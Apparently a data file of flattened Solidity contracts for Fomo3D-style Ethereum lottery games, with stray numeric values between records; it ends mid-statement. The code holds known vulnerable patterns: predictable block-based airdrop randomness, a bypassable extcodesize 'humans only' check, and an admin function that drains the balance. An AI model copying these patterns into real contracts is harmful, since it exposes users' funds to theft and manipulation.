_eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMOXDatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit POOHMOXevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount, _eventData_.potAmount ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function whenGameDies() public { require(msg.sender == admin); flushDivs.call.value(address(this).balance)(bytes4(keccak256("donate()"))); } } library POOHMOXDatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 POOHAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 pooh; } struct PotSplit { uint256 gen; uint256 pooh; } } library KeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return (_eth / 0.01 ether); } function eth(uint256 _keys) internal pure returns(uint256) { return _keys.mul(0.01 ether); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20); if (_temp[0] == 0x30) { require(_temp[1] != 0x78); require(_temp[1] != 0x58); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a)); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
989
pragma solidity ^0.4.24; contract ONEevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is ONEevents {} contract SpicyPot is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; OneForwarderInterface constant private One_Island_Inc = OneForwarderInterface(0x5eEe34cEDa69D7561d28789D55B9C8f53c33f5BF); PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xca12e451d5cd04d347a0059da5f49bb1fa21973e); F3DexternalSettingsInterface constant private extSettings = F3DexternalSettingsInterface(0x1793f6fca913737035048bf0702ccda113e2e691); string constant public name = "Spicy Pot"; string constant public symbol = "SPT"; uint256 private rndExtra_ = extSettings.getLongExtra(); uint256 private rndGap_ = extSettings.getLongGap(); uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 12 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,0); fees_[1] = F3Ddatasets.TeamFee(40,0); fees_[2] = F3Ddatasets.TeamFee(50,0); fees_[3] = F3Ddatasets.TeamFee(60,0); potSplit_[0] = F3Ddatasets.PotSplit(23,0); potSplit_[1] = F3Ddatasets.PotSplit(23,0); potSplit_[2] = F3Ddatasets.PotSplit(40,0); potSplit_[3] = F3Ddatasets.PotSplit(30,0); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit ONEevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit ONEevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit ONEevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit ONEevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit ONEevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit ONEevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit ONEevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 25); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(One_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) { _res = _res.add(_p3d); } _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 25; uint256 _aff = (_eth.mul(13)) / 100; if (_affID != _pID ) { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit ONEevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } if (!address(One_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) { airDropPot_ = airDropPot_.add(_com); _com = 0; } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit ONEevents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth.mul(3) / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(20)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = 